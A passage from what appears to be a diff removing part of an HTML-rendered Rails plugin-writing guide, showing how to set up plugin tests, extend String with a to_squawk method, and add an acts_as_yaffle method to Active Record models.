-  db_adapter <span style="color: #990000">=</span> ENV<span style="color: #990000">[</span><span style="color: #FF0000">'DB'</span><span style="color: #990000">]</span>
-
-  <span style="font-style: italic"><span style="color: #9A1900"># no db passed, try one of these fine config-free DBs before bombing.</span></span>
-  db_adapter <span style="color: #990000">||=</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">begin</span></span>
-      <span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'rubygems'</span>
-      <span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'sqlite'</span>
-      <span style="color: #FF0000">'sqlite'</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">rescue</span></span> MissingSourceFile
-      <span style="font-weight: bold"><span style="color: #0000FF">begin</span></span>
-        <span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'sqlite3'</span>
-        <span style="color: #FF0000">'sqlite3'</span>
-      <span style="font-weight: bold"><span style="color: #0000FF">rescue</span></span> MissingSourceFile
-      <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> db_adapter<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">raise</span></span> <span style="color: #FF0000">"No DB Adapter selected. Pass the DB= option to pick one, or install Sqlite or Sqlite3."</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>establish_connection<span style="color: #990000">(</span>config<span style="color: #990000">[</span>db_adapter<span style="color: #990000">])</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">load</span></span><span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">"/schema.rb"</span><span style="color: #990000">)</span>
-  <span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/../rails/init.rb'</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Now whenever you write a test that requires the database, you can call <em>load_schema</em>.</p></div>
-<h3 id="_run_the_plugin_tests">1.4. Run the plugin tests</h3>
-<div class="para"><p>Once you have these files in place, you can write your first test to ensure that your plugin-testing setup is correct.  By default rails generates a file in <em>vendor/plugins/yaffle/test/yaffle_test.rb</em> with a sample test.  Replace the contents of that file with:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/yaffle_test.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> YaffleTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
-  load_schema
-
-  <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Hickwall <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Wickwall <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_schema_has_loaded_correctly
-    assert_equal <span style="color: #990000">[],</span> Hickwall<span style="color: #990000">.</span>all
-    assert_equal <span style="color: #990000">[],</span> Wickwall<span style="color: #990000">.</span>all
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>To run this, go to the plugin directory and run <tt>rake</tt>:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>cd vendor/plugins/yaffle
-rake</tt></pre>
-</div></div>
-<div class="para"><p>You should see output like:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>/opt/local/bin/ruby -Ilib:lib "/opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader.rb" "test/yaffle_test.rb"
--- create_table(:hickwalls, {:force=&gt;true})
-   -&gt; 0.0220s
--- create_table(:wickwalls, {:force=&gt;true})
-   -&gt; 0.0077s
--- initialize_schema_migrations_table()
-   -&gt; 0.0007s
--- assume_migrated_upto_version(0)
-   -&gt; 0.0007s
-Loaded suite /opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader
-Started
-.
-Finished in 0.002236 seconds.
-
-1 test, 1 assertion, 0 failures, 0 errors</tt></pre>
-</div></div>
-<div class="para"><p>By default the setup above runs your tests with sqlite or sqlite3.  To run tests with one of the other connection strings specified in database.yml, pass the DB environment variable to rake:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>rake DB=sqlite
-rake DB=sqlite3
-rake DB=mysql
-rake DB=postgresql</tt></pre>
-</div></div>
-<div class="para"><p>Now you are ready to test-drive your plugin!</p></div>
-</div>
-<h2 id="_extending_core_classes">2. Extending core classes</h2>
-<div class="sectionbody">
-<div class="para"><p>This section will explain how to add a method to String that will be available anywhere in your rails app by:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Writing tests for the desired behavior
-</p>
-</li>
-<li>
-<p>
-Creating and requiring the correct files
-</p>
-</li>
-</ul></div>
-<h3 id="_creating_the_test">2.1. Creating the test</h3>
-<div class="para"><p>In this example you will add a method to String named <tt>to_squawk</tt>.  To begin, create a new test file with a few assertions:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/core_ext_test.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CoreExtTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_to_squawk_prepends_the_word_squawk
-    assert_equal <span style="color: #FF0000">"squawk! Hello World"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"Hello World"</span><span style="color: #990000">.</span>to_squawk
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Navigate to your plugin directory and run <tt>rake test</tt>:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>cd vendor/plugins/yaffle
-rake test</tt></pre>
-</div></div>
-<div class="para"><p>The test above should fail with the message:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt> 1) Error:
-test_to_squawk_prepends_the_word_squawk(CoreExtTest):
-NoMethodError: undefined method `to_squawk' for "Hello World":String
-    ./test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'</tt></pre>
-</div></div>
-<div class="para"><p>Great - now you are ready to start development.</p></div>
-<h3 id="_organize_your_files">2.2. Organize your files</h3>
-<div class="para"><p>A common pattern in rails plugins is to set up the file structure like this:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>|-- lib
-|   |-- yaffle
-|   |   `-- core_ext.rb
-|   `-- yaffle.rb</tt></pre>
-</div></div>
-<div class="para"><p>The first thing we need to to is to require our <em>lib/yaffle.rb</em> file from <em>rails/init.rb</em>:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/rails/init.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'yaffle'</span>
-</tt></pre></div></div>
-<div class="para"><p>Then in <em>lib/yaffle.rb</em> require <em>lib/core_ext.rb</em>:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"yaffle/core_ext"</span>
-</tt></pre></div></div>
-<div class="para"><p>Finally, create the <em>core_ext.rb</em> file and add the <em>to_squawk</em> method:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle/core_ext.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>String<span style="color: #990000">.</span>class_eval <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> to_squawk
-    <span style="color: #FF0000">"squawk! #{self}"</span><span style="color: #990000">.</span>strip
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>To test that your method does what it says it does, run the unit tests with <tt>rake</tt> from your plugin directory.  To see this in action, fire up a console and start squawking:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>$ ./script/console
-&gt;&gt; "Hello World".to_squawk
-=&gt; "squawk! Hello World"</tt></pre>
-</div></div>
-<h3 id="_working_with_init_rb">2.3. Working with init.rb</h3>
-<div class="para"><p>When rails loads plugins it looks for the file named init.rb.  However, when the plugin is initialized, <em>init.rb</em> is invoked via <tt>eval</tt> (not <tt>require</tt>) so it has slightly different behavior.</p></div>
-<div class="para"><p>Under certain circumstances if you reopen classes or modules in <em>init.rb</em> you may inadvertently create a new class, rather than reopening an existing class.  A better alternative is to reopen the class in a different file, and require that file from <tt>init.rb</tt>, as shown above.</p></div>
-<div class="para"><p>If you must reopen a class in <tt>init.rb</tt> you can use <tt>module_eval</tt> or <tt>class_eval</tt> to avoid any issues:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/init.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Hash<span style="color: #990000">.</span>class_eval <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> is_a_special_hash?
-    <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Another way is to explicitly define the top-level module space for all modules and classes, like <tt>::Hash</tt>:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/init.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> <span style="color: #990000">::</span>Hash
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> is_a_special_hash?
-    <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-</div>
-<h2 id="_add_an_tt_acts_as_yaffle_tt_method_to_active_record">3. Add an <tt>acts_as_yaffle</tt> method to Active Record</h2>
-<div class="sectionbody">
-<div class="para"><p>A common pattern in plugins is to add a method called <em>acts_as_something</em> to models.  In this case, you want to write a method called <em>acts_as_yaffle</em> that adds a <em>squawk</em> method to your models.</p></div>
-<div class="para"><p>To begin, set up your files so that you have:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/acts_as_yaffle_test.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ActsAsYaffleTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'yaffle/acts_as_yaffle'</span>
-</tt></pre></div></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Yaffle
-  <span style="font-style: italic"><span style="color: #9A1900"># your code will go here</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Note that after requiring <em>acts_as_yaffle</em> you also have to include it into ActiveRecord::Base so that your plugin methods will be available to the rails models.</p></div>
-<div class="para"><p>One of the most common plugin patterns for <em>acts_as_yaffle</em> plugins is to structure your file like so:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Yaffle
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>included<span style="color: #990000">(</span>base<span style="color: #990000">)</span>
-    base<span style="color: #990000">.</span>send <span style="color: #990000">:</span>extend<span style="color: #990000">,</span> ClassMethods
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> ClassMethods
-    <span style="font-style: italic"><span style="color: #9A1900"># any method placed here will apply to classes, like Hickwall</span></span>
-    <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> acts_as_something
-      send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> InstanceMethods
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> InstanceMethods
-    <span style="font-style: italic"><span style="color: #9A1900"># any method placed here will apply to instaces, like @hickwall</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>With structure you can easily separate the methods that will be used for the class (like <tt>Hickwall.some_method</tt>) and the instance (like <tt>@hickwell.some_method</tt>).</p></div>
-<h3 id="_add_a_class_method">3.1. Add a class method</h3>
-<div class="para"><p>This plugin will expect that you've added a method to your model named <em>last_squawk</em>.  However, the plugin users might have already defined a method on their model named <em>last_squawk</em> that they use for something else.  This plugin will allow the name to be changed by adding a class method called <em>yaffle_text_field</em>.</p></div>
-<div class="para"><p>To start out, write a failing test that shows the behavior you'd like:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/acts_as_yaffle_test.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Hickwall <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  acts_as_yaffle
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Wickwall <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  acts_as_yaffle <span style="color: #990000">:</span>yaffle_text_field <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>last_tweet
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ActsAsYaffleTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
-  load_schema
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_a_hickwalls_yaffle_text_field_should_be_last_squawk
-    assert_equal <span style="color: #FF0000">"last_squawk"</span><span style="color: #990000">,</span> Hickwall<span style="color: #990000">.</span>yaffle_text_field
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_a_wickwalls_yaffle_text_field_should_be_last_tweet
-    assert_equal <span style="color: #FF0000">"last_tweet"</span><span style="color: #990000">,</span> Wickwall<span style="color: #990000">.</span>yaffle_text_field
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>To make these tests pass, you could modify your <tt>acts_as_yaffle</tt> file like so:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Yaffle
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>included<span style="color: #990000">(</span>base<span style="color: #990000">)</span>
-    base<span style="color: #990000">.</span>send <span style="color: #990000">:</span>extend<span style="color: #990000">,</span> ClassMethods
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> ClassMethods
-    <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> acts_as_yaffle<span style="color: #990000">(</span>options <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">)</span>
-      cattr_accessor <span style="color: #990000">:</span>yaffle_text_field
-      <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>yaffle_text_field <span style="color: #990000">=</span> <span style="color: #990000">(</span>options<span style="color: #990000">[:</span>yaffle_text_field<span style="color: #990000">]</span> <span style="color: #990000">||</span> <span style="color: #990000">:</span>last_squawk<span style="color: #990000">).</span>to_s
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle
-</tt></pre></div></div>
-<h3 id="_add_an_instance_method">3.2. Add an instance method</h3>
-<div class="para"><p>This plugin will add a method named <em>squawk</em> to any Active Record objects that call <em>acts_as_yaffle</em>.  The <em>squawk</em> method will simply set the value of one of the fields in the database.</p></div>
-<div class="para"><p>To start out, write a failing test that shows the behavior you'd like:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/acts_as_yaffle_test.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Hickwall <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  acts_as_yaffle
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Wickwall <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  acts_as_yaffle <span style="color: #990000">:</span>yaffle_text_field <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>last_tweet
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ActsAsYaffleTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
-  load_schema
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_a_hickwalls_yaffle_text_field_should_be_last_squawk
-    assert_equal <span style="color: #FF0000">"last_squawk"</span><span style="color: #990000">,</span> Hickwall<span style="color: #990000">.</span>yaffle_text_field
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_a_wickwalls_yaffle_text_field_should_be_last_tweet
-    assert_equal <span style="color: #FF0000">"last_tweet"</span><span style="color: #990000">,</span> Wickwall<span style="color: #990000">.</span>yaffle_text_field
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_hickwalls_squawk_should_populate_last_squawk
-    hickwall <span style="color: #990000">=</span> Hickwall<span style="color: #990000">.</span>new
-    hickwall<span style="color: #990000">.</span>squawk<span style="color: #990000">(</span><span style="color: #FF0000">"Hello World"</span><span style="color: #990000">)</span>
-    assert_equal <span style="color: #FF0000">"squawk! Hello World"</span><span style="color: #990000">,</span> hickwall<span style="color: #990000">.</span>last_squawk
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_wickwalls_squawk_should_populate_last_tweeted_at
-    wickwall <span style="color: #990000">=</span> Wickwall<span style="color: #990000">.</span>new
-    wickwall<span style="color: #990000">.</span>squawk<span style="color: #990000">(</span><span style="color: #FF0000">"Hello World"</span><span style="color: #990000">)</span>
-    assert_equal <span style="color: #FF0000">"squawk! Hello World"</span><span style="color: #990000">,</span> wickwall<span style="color: #990000">.</span>last_tweet
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Run this test to make sure the last two tests fail, then update <em>acts_as_yaffle.rb</em> to look like this:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Yaffle
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>included<span style="color: #990000">(</span>base<span style="color: #990000">)</span>
-    base<span style="color: #990000">.</span>send <span style="color: #990000">:</span>extend<span style="color: #990000">,</span> ClassMethods
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> ClassMethods
-    <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> acts_as_yaffle<span style="color: #990000">(</span>options <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">)</span>
-      cattr_accessor <span style="color: #990000">:</span>yaffle_text_field
-      <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>yaffle_text_field <span style="color: #990000">=</span> <span style="color: #990000">(</span>options<span style="color: #990000">[:</span>yaffle_text_field<span style="color: #990000">]</span> <span style="color: #990000">||</span> <span style="color: #990000">:</span>last_squawk<span style="color: #990000">).</span>to_s
-      send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> InstanceMethods
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> InstanceMethods
-    <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> squawk<span style="color: #990000">(</span>string<span style="color: #990000">)</span>
-      write_attribute<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">class</span></span><span style="color: #990000">.</span>yaffle_text_field<span style="color: #990000">,</span> string<span style="color: #990000">.</span>to_squawk<span style="color: #990000">)</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">
-<div class="title">Editor's note:</div>The use of <tt>write_attribute</tt> to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use.  For example, you could also use <tt>send("#{self.class.yaffle_text_field}=", string.to_squawk)</tt>.</td>
-</tr></table>
-</div>
-</div>
-<h2 id="_create_a_generator">4. Create a generator</h2>
-<div class="sectionbody">
-<div class="para"><p>Many plugins ship with generators.  When you created the plugin above, you specified the &#8212;with-generator option, so you already have the generator stubs in <em>vendor/plugins/yaffle/generators/yaffle</em>.</p></div>
-<div class="para"><p>Building generators is a complex topic unto itself and this section will cover one small aspect of generators:  creating a generator that adds a time-stamped migration.</p></div>
-<div class="para"><p>To create a generator you must:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Add your instructions to the <em>manifest</em> method of the generator
-</p>
-</li>
-<li>
-<p>
-Add any necessary template files to the templates directory
-</p>
-</li>
-<li>
-<p>
-Test the generator manually by running various combinations of <tt>script/generate</tt> and <tt>script/destroy</tt>
-</p>
-</li>
-<li>
-<p>
-Update the USAGE file to add helpful documentation for your generator
-</p>
-</li>
-</ul></div>
-<h3 id="_testing_generators">4.1. Testing generators</h3>
-<div class="para"><p>Many rails plugin authors do not test their generators, however testing generators is quite simple.  A typical generator test does the following:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Creates a new fake rails root directory that will serve as destination
-</p>
-</li>
-<li>
-<p>
-Runs the generator forward and backward, making whatever assertions are necessary
-</p>
-</li>
-<li>
-<p>
-Removes the fake rails root
-</p>
-</li>
-</ul></div>
-<div class="para"><p>For the generator in this section, the test could look something like this:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/yaffle_generator_test.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
